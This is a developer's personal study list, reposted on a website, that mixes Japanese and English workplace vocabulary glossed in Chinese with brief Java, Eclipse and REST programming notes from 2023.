1.承る うけたまわる (谦让语)知道。明白。// かしこまりました。承ります。
2.check off 核对…后打钩
3.こないだ このあいだ(此の間)
4.ひょっと 1.忽然,忽地。 2.或许,说不定
5.ひょっとしたら 也许,或许,说不定,有可能。
6.浮かぶ うかぶ 1.浮;漂;飘;漂浮;飘浮。 4.想起;想出;涌上心头;浮现于脑海。
7.酢飯 すめし 掺杂了醋的米饭 寿司的旧称
8.豆 まめ
9.レンコン 莲藕
10.見通 みとおし 1.瞭望,眺望。 2.预料,预见;推测。
11.一対 いっつい
12.貝殼 かいがら
13.「パート」 全称是パートタイム,来自英语part-time 表示(按时计酬)打零工,兼职。
工作的时间和性质上「パートタイム」是比正式员工的工作时间要一些少的员工,
而「アルバイト」是临时雇佣的员工(临时工),
工作内容上「パートタイム」只是在劳动时间上比正式员工短一些,但在工作内容上很多是和正式员工一样的,时间也是长期的。
14.インバウンド 【英】inbound ;入境。 (帰りの、本国行きの、の意。)
15.セミナー 研讨会
16.最寄 もより 1.附近,就近。(最も近い所。付近。) // 最寄駅から会社まで
17.rider 英 [ˈraɪdə] n. 骑手;骑马(或自行车、摩托车)的人;乘客;附加条款;扶手 // 附加条款 [特約]
18.declaration 英 [ˌdɛkləˈreɪʃən] n. 宣布,公告声明书,申报宣称 // 告知
19.insurance 英 [ɪnˈʃʊərəns] n. 保险;保险费;预防措施
20.medical 英 [ˈmɛdɪkəl] adj. 医学的;内科的;医药的 n. 体格检查;医生
21.補う おぎなう 补,填补;弥补。
22.ぶつかる 碰,撞。猛地接触上。
23.柵 さく // 事故が特に多い場所には鹿の進入を防ぐ柵を設置したりしています
24.ツアー 【英】tour ;旅行,旅游,游览。 国内ツアー
25.宿泊 しゅくはく
26.レンタカー rent a car 租赁车
27.年々増加し ねんねん ぞうか
28.上回る うわまわる 超过,越出 // 世界平均の3時間をはるかに上回る5時間で世界最長となっています
29.遥か はるか
30.堅苦しい かたくるしい 1.严格,限制过严,,没有通融余地,死板, 郑重其事,拘泥形式。
31.子育て こそだて
32.発揮 はっき
33.メロン 甜瓜,白兰瓜
34.マロン 栗子
35.インコ 鹦鹉
36.庄司 しょうじ しょうし
37.瀬川 せがわ
38.~がち【勝ち】(一般不写汉字)
佐藤さんは留守がちだから、電話してもいないことが多い。 佐藤总是外出,给他打电话他常常不在。
39.参る まいる 4.受不了,吃不消;叫人为难;不堪,累垮。
40.張り切る はりきる 1.拉紧,绷紧。 2.干劲十足。 3.紧张。
41.フェスタ 1.festa(意大利),祭り。祝祭。祭祀(さいし)。祝日。
42.SNS一般指社交网络服务。 社交网络服务(Social Networking Service,简称SNS
43.キャラクター 【英】character ;性格,性质;人物,角色,漫画、电影、戏剧等的出场人物。
44.親しみ したしみ 1.亲密感情,亲近,亲切
45.スイーツ 甜点。糖果。(菓子やデザートなどの甘味を英語で「スイーツ」と呼称するような日本人女性のことを意味する日本のインターネットスラング。)
46.スラング 1.【英】slang ;俚语,行话,黑话,(盗贼等用的)切口,隐语。
47.一石二鳥 いっせきにちょう
48.足を運ぶ あしをはこぶ 前去访问。
49.販促 はんそく
50.くたびれる 草臥れる 1.疲劳。疲乏。 2.穿旧。用旧。
51.アロマ 1.【拉丁】 aroma ;香気,芳香。(香り。芳香。)
52.ライター 2.【英】lighter;打火机,主要用于点烟的器具。 1.【英】writer;作家,撰稿人,以写文章为业的人。
53.ブレーキ 【英】brake;制动器,车闸,刹车(器)
54.座席 ざせき
55.インターンシップ 【英】internship;实习,学生在企业短期间体验业务工作。
56.ついて 就いて // についえ に就いて
57.就職 しゅうしょく
58.武田 たけだ 竹 たけ
■2023/01/01以降
1.java调用shell脚本和命令-ProcessBuilder方式 (私密)
java调用shell脚本和命令-ProcessBuilder方式_sun0322的博客-CSDN博客
2.Runtime、ProcessBuilder的区别(Java中,两种方法来启动其他程序)
Runtime、ProcessBuilder的区别(Java中,两种方法来启动其他程序)_sun0322的博客-CSDN博客
3.ダイレクト 1.【英】direct ;直接的。
4.カルテ 诊断记录,病历卡,医生的诊断记录卡,有关患者的病历
5.山積み やまづみ 1.问题,工作大量积压,积压很多。 2.堆积如山,堆得满满的。
6.オートバイ 【英】auto bicycle ;摩托车。
7.eclipse插件SonarLint点击deactivate rule后恢复
eclipse插件SonarLint点击deactivate rule后恢复_chao_o的博客-CSDN博客_sonarlint如何将deactive的规则
8.perl
UNIX平台下历史悠久的脚本语言,擅长基于正则表达式的文本处理。
例:把Linux换行,变为Windows换行
perl -p -e 's/\n/\r\n' /XXX/XXX/a.txt > /XXX/XXX/b.txt
9. オーディナリー ordinary [ˈɔːdnri] adj. 普通的,平庸的
10.オリジナル original 英 [əˈrɪdʒənl] adj. 最初的;原来的,原始的; 原型,原作
11.インスタント instant ;即席,稍加工即可,速成。 インスタント食品
13.委託 いたく
14.介護 かいご
15.諦めて あきらめて // 注意读音对应的汉字
16.キャリア 【英】 career;职业。 【英】 career;履历,比赛经历。
17.こだわり 1.拘泥;特色。 2.讲究 。(強い関心)
18.混ぜる まぜる ,混ぜない まぜない
19.囲い込む 包围进去。
20.取り過ぎ 用量过多
21.incorporated [ɪnˈkɔːpəˌreɪtɪd] adj. 合并的;股份有限的
22.consume [kənˈsjuːm] v. 吃,喝,饮;毁灭;使着迷;消耗;消费;挥霍
23.produce [prəˈdus] n. 产品,物产,成果
24.java substring
beginIndex -- 起始索引(包括), 索引从 0 开始。
endIndex -- 结束索引(不包括)
Java substring() 方法 | 菜鸟教程
25.javax.ws.rs
jersey框架中的web service接口传递对象参数_凌晨1点21分的博客-CSDN博客_jersey 框架入参传对象
<dependency>
<groupId>javax.ws.rs</groupId>
<artifactId>javax.ws.rs-api</artifactId>
<version>2.0.1</version>
</dependency>
==
javax.ws.rs.Path
javax.ws.rs.POST
javax.ws.rs.Consumes
javax.ws.rs.Produces
@POST
@Path("/sayName")
@Consumes( MediaType.APPLICATION_JSON+";charset=UTF-8")
@Produces(MediaType.APPLICATION_JSON)
public UserBean sayName(UserBean ub){
ub.setName(ub.getName()+"123");
return ub;
}
26.用量过多
27.DM DM是“快讯商品广告(Direct Mail) ”的缩写。
28.C/O 英语缩略词“C/O”经常作为“CheckOut”的缩写来使用,中文表示:“结帐”。 n. 结帐;收银台;检验 // 其它单词 ⇒ // check off 核对…后打钩
Once you've checked off the items you ordered, put this record in your file.
在你订购的物品上打好钩之后,把此记录放入文件夹中
29.見積書 报价单。经费等报价类文件。
30.ポータル portal
31.Teradata
Teradata 简介_w3cschool
Teradata是全国数一数二的专注于大数据方向的公司,提供Teradata数据仓库服务。如果你需要处理庞大的数据,那么你大概需要学习一下这部教程
32.日语字母发音
1、A到G:
エー、ビー、シー、ディー、イー、エフ、ジー2、H到N:
エイチ、アイ、ジェー、ケー、エル、エム、エヌ3、O到T:
オー、ピー、キュー、アール、エス、ティー4、U到Y:
ユー、ヴイ、ダブリュー、エックス、ワイ、ゼット
33.Oak 英 [əʊk] n. 橡树;橡木;橡木色 // java 原名
=========================
当初Java的出现是为了应用于家用电器行业,是由当时在Sun公司工作的詹姆斯·高斯林等人(当时团队叫做 Green Team ,也叫做绿队)在1990年代初开发的一种编程语言,刚刚诞生时,由于当时的团队被称为“Green Team”,高斯林把这门新的编程语言称为“Greentalk”,文件拓展名是“.gt”,这就是Java最初的雏形!
后来据说因为创始人詹姆斯·高斯林办公室前面有一棵橡树,所以“Greentalk”又改名叫OAK。OAK的中文名称是“橡树”,主要分布在北半球和哥伦比亚的安第斯山脉。在当地人们认为橡树象征着力量,还有很多国家把橡树选为国树,也正是因为多了这一方面的原因,才促成高斯林重新把这么一门编程语言命名为“oak”!
=========================
34.Cp943
IBM OS/2 Japanese, superset of Cp932 and Shift-JIS
ibm java 编码_关于Java中编码的问题_朕说的博客-CSDN博客
35. superset 英 ['sju:pəset] 超集
■2023/02/06以降
1.サービスイン 开始业务;开始营业
2.Cp943
IBM OS/2 Japanese, superset of Cp932 and Shift-JIS
ibm java 编码_关于Java中编码的问题_朕说的博客-CSDN博客
3.superset 英 ['sju:pəset] 超集
4.Engagement 英 [ɪnˈɡeɪdʒmənt] n. 订婚;约会;正式的承诺;交战
5.模板方法设计模式
6.publisher 英 [ˈpʌblɪʃə] n. 出版者,出版社;发表者,发行人
7.増設 ぞうせつ 環境増設
8.ジャッジ 【英】judge 审判,审定,裁判。(審判、審査、判定、判断。)
9.@JsonProperty("XXX") // org.codehaus.Jackson.annotate.JsonProperty
<!-- https://mvnrepository/artifact/org.codehaus.jackson/jackson-core-asl -->
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-core-asl</artifactId>
<version>1.9.13</version>
</dependency>
JPA
JPA、EJB、事物管理---相关内容整理_sun0322的博客-CSDN博客_ejb 事务
13.EJB-事务管理
JPA、EJB、事物管理---相关内容整理_sun0322的博客-CSDN博客_ejb 事务
================================
15.convenient 英 [kənˈviːnɪənt] 合适的;方便的;便利的 // easy、simple
16.javax.ws.rs.Consumes类的使用及代码示例
javax.ws.rs.Consumes类的使用及代码示例_其他_大数据知识库
<dependency>
<groupId>javax.ws.rs</groupId>
<artifactId>javax.ws.rs-api</artifactId>
<version>2.0.1</version>
</dependency>
17.挙 ju 简体字 举 举起
保险举绩,又叫开单、简单说就是做了业务了。
举,就是举起,意味着得到、承保的意思;绩,就是成绩。举绩,就是你在保险公司做了业务了,客户投保了。
给客户办理保险业务的人员就要保险代理人,有九成以上的投保者是通过保险代理人来购买保险产品的。
一方面直接跟保险代理人接触可以比较直观的向其了解保险公司的各类产品特点,而且保险代理可以根据个人职业、年龄、家庭构成、收入等因素推荐适合投保人的保险产品。并且透过这一渠道购买的保险产品,一般售后服务都有保障,可以享受到续保提醒、上门理赔等比较人性化的服务。
18.拳 quan 拳头
19.Stage
Stage2 方針、要件、見積
Stage3 外部设计、Build、UT、IT、ST
20.filler 英 [ˈfɪlə] n. 填充物;充填器;补白,充数
21.ておらず
【おらず】是“いない”的正式书面表示形式。“—ておらず”是“—ていない”的正式书面表示形式。
・回答をもらえておらず
・見つかっておらず
22.ディジタル 【英】digital ;数字的,计数。 // チェックディジタル 数据校验位,比如身份证最后一位
23.ものすごく 【副词】 1.非常地,巨大地,非常,可怕地,极端地。
ものすごく謝らないといけないことがあります
我有一件不得不道歉的事情ものすごく厳しい先生。
非常严厉的老师。
24.読み取る 领会,读懂,看明白,理解。
25.親権者 しんけんしゃ 监护人
26.続柄 ぞくがら
27.配偶者 はいぐうしゃ
28.収まる おさまる 容纳,收纳;复原,回复。
29.押さえる おさえる 1.压,摁,按 5.确保,掌握,控制。
30.mark occurrences // Eclipse // 出現箇所のマーク
Eclipse Mark Occurrences - IAmAProgrammer - 博客园 (cnblogs)
41.occurrence [əˈkʌrəns] 发生,出现;遭遇,事件
42.巻き込む まきこむ 1.牵连,连累。 2.卷进,卷入。
43.リードタイム 【英】 英lead time
・(制造业)投产准备阶段;开发周期;订货至发货的时间;准备时间;超前时间;定货期间(製品の企画から完成までの所要時間)。
・例えば「発注してから納品されるまでの時間」や「作り始めてから完成するまでの時間」のような「それを始めてから完了するまでの時間」のこと
44.盐(Salt),SaltValue
java处理,调用外系统的 WebAPI(https请求)时,相关知识整理_java调用webapi_sun0322的博客-CSDN博客
45.Eclipse 格式设定(Ctrl + Shift + F)
window->preferences->java->code style->formatter
在这里,修改各种参数
比如,设置,缩进为空格
Eclipse相关操作整理_sun0322的博客-CSDN博客
46.对象转换成 JSON 串
org.codehaus.jackson.map.ObjectMapper
。。。
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(Object obj);
47.Eclipse中,半角空格显示
window-> preferences-> General-> Text Edit
空白文字表示(0)(可視性の構成)
Eclipse相关操作整理_sun0322的博客-CSDN博客
48.簡潔 かんけつ
49.Interceptor 英 [ˌɪntəˈsɛptə] 阻止的人,妨碍者,拦截战斗机 // Chrom浏览器下载安装插件Postman Interceptor
50.オンプレミス(英:on-premises) // クラウドじゃない方
51.RESTful (REST式的)
REST(Representation State Transfer):资源表述性状态转移,是一种结构风格。
java处理,调用外系统的 WebAPI(https请求)时,相关知识整理_java调用webapi_sun0322的博客-CSDN博客
52.ful 后缀的词为形容词这类形容词意为"full of,having the quality of"。
多加在名词之后,表示“充满..的、易....的、富.的、具有..的”的意思。
例如:
grateful感激的、rueful后悔的、willful任性的、
tactful圆滑的、baneful有害的、gleeful欢乐的、
hopefula有希望的、shameful可耻的、
forgetful易忘的、beautifu漂亮
■2023/01/01~2023/03/12纯单词整理
1.ダイレクト 【英】direct ;直接的。
2.カルテ 诊断记录,病历卡,医生的诊断记录卡,有关患者的病历
3.山積み やまづみ 1.问题,工作大量积压,积压很多。 2.堆积如山,堆得满满的。
4.オートバイ 【英】auto bicycle ;摩托车。
5.perl UNIX平台下历史悠久的脚本语言,擅长基于正则表达式的文本处理。
6.オーディナリー ordinary [ˈɔːdnri] adj. 普通的,平庸的
7.オリジナル original 英 [əˈrɪdʒənl] adj. 最初的;原来的,原始的; 原型,原作
8.インスタント instant ;即席,稍加工即可,速成。 インスタント食品
10.委託 いたく
11.介護 かいご
12.諦めて あきらめて // 注意读音对应的汉字
13.キャリア 【英】 career;职业。 【英】 career;履历,比赛经历。
14.こだわり 1.拘泥;特色。 2.讲究 。(強い関心)
15.混ぜる まぜる ,混ぜない まぜない
16.囲い込む 包围进去。 かこいこむ
17.取り過ぎ 用量过多
18.incorporated [ɪnˈkɔːpəˌreɪtɪd] adj. 合并的;股份有限的
19.consume [kənˈsjuːm] v. 吃,喝,饮;毁灭;使着迷;消耗;消费;挥霍
20.produce [prəˈdus] n. 产品,物产,成果
(produce 主要指农产品;product 主要指工业产品,也可指农产品;produce: 主要作为动词使用)
21.java substring
beginIndex -- 起始索引(包括), 索引从 0 开始。
endIndex -- 结束索引(不包括)
22.jDM DM是“快讯商品广告(Direct Mail) ”的缩写
23.jC/O 英语缩略词“C/O”经常作为“CheckOut”的缩写来使用,
中文表示:“结帐”。 n. 结帐;收银台;检验 // 其它单词 ⇒ // check off 核对…后打钩
24.見積書 报价单。经费等报价类文件。
25.ポータル portal
26.
26.1、A到G:
エー、ビー、シー、ディー、イー、エフ、ジー
26.2、H到N:
エイチ、アイ、ジェー、ケー、エル、エム、エヌ
26.3、O到T:
オー、ピー、キュー、アール、エス、ティー
26.4、U到Y:
ユー、ヴイ、ダブリュー、エックス、ワイ、ゼット
27.Oak 英 [əʊk] n. 橡树;橡木;橡木色 // java 原名 // 据说因为创始人詹姆斯·高斯林 (James Gosling)办公室前面有一棵橡树
28.Cp943 // IBM OS/2 Japanese, superset of Cp932 and Shift-JIS
29.superset 英 ['sju:pəset] 超集
30.サービスイン 开始业务;开始营业
31.Engagement 英 [ɪnˈɡeɪdʒmənt] n. 订婚;约会;正式的承诺;交战
32.模板方法设计模式
33.publisher 英 [ˈpʌblɪʃə] n. 出版者,出版社;发表者,发行人
34.増設 ぞうせつ 環境増設
35.ジャッジ 【英】judge 审判,审定,裁判。(審判、審査、判定、判断。)
36.@JsonProperty("XXX") // org.codehaus.Jackson.annotate.JsonProperty
37.convenient 英 [kənˈviːnɪənt] 合适的;方便的;便利的 // easy、simple
38.挙 ju 简体字 举 举起
保险举绩,又叫开单、简单说就是做了业务了。
举,就是举起,意味着得到、承保的意思;绩,就是成绩。举绩,就是你在保险公司做了业务了,客户投保了。
给客户办理保险业务的人员就要保险代理人,有九成以上的投保者是通过保险代理人来购买保险产品的。
39.拳 quan 拳头
40.Stage
Stage2 方針、要件、見積
Stage3 外部设计、Build、UT、IT、ST
41.filler 英 [ˈfɪlə] n. 填充物;充填器;补白,充数
42.ておらず
【おらず】是“いない”的正式书面表示形式。“—ておらず”是“—ていない”的正式书面表示形式。
・回答をもらえておらず
43.ディジタル 【英】digital ;数字的,计数。 // チェックディジタル 数据校验位,比如身份证最后一位
44.ものすごく 【副词】 1.非常地,巨大地,非常,可怕地,极端地。
ものすごく謝らないといけないことがあります
我有一件不得不道歉的事情
45.読み取る 领会,读懂,看明白,理解。
46.親権者 しんけんしゃ 监护人
47.続柄 ぞくがら
48.配偶者 はいぐうしゃ
49.収まる おさまる 容纳,收纳;复原,回复。
50.押さえる おさえる 1.压,摁,按 5.确保,掌握,控制。
51.mark occurrences // Eclipse // 出現箇所のマーク
52.occurrence [əˈkʌrəns] 发生,出现;遭遇,事件 // Eclipse Mark Occurrence
53.巻き込む まきこむ 1.牵连,连累。 2.卷进,卷入。
54.リードタイム 【英】 英lead time
(制造业)投产准备阶段;开发周期;订货至发货的时间;准备时间;超前时间;
55.盐(Salt),SaltValue
在密码学中,是指在散列之前将散列内容(例如:密码)的任意固定位置插入特定的字符串。
这个在散列中加入字符串的方式称为“加盐”。
56.簡潔 かんけつ
57.Interceptor 英 [ˌɪntəˈsɛptə] 阻止的人,妨碍者,拦截战斗机 // Chrom浏览器下载安装插件Postman Interceptor
58.オンプレミス(英:on-premises) // クラウドじゃない方
59.RESTful (REST式的)
REST(Representation State Transfer):资源表述性状态转移,是一种结构风格
60.ful 后缀 "full of,having the quality of"。“充满..的、易....的、富.的、具有..的”
■2023/03/13以降
1.カタログ catalogue;商品目录。营业指南。
2.コンサルティング 【英】consulting;(接受)咨询,指回答专门事项的商谈
3.パラドックス paradox n. 自相矛盾的人或事;悖论
// 杀虫剂悖论 对软件进行越多的测试,那么该软件对软件测试人员的测试就越具有免疫力
4.二次元コード // QRコード
5.アルゴリズム algorithm 算法 [ˈælɡəˌrɪðəm]
6.AES 高级加密标准(Advanced Encryption Standard,AES)
7.インシデント 偶发事件,意外事件; // 障害
8.digest 英 [ˈdaɪˌdʒɛst] n. 摘要 v. 消化;领悟,理解 // MessageDigest
9.スムーズ 光滑,平滑;流畅,顺畅。 【英】smooth;[smuːð] 平坦的,平稳的
10.促す うながす 1.促使,促进 2.催促,促使。
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
版权声明:本文标题:工作中使用到的单词(软件开发)_2023_0316备份 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1726333574h938996.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论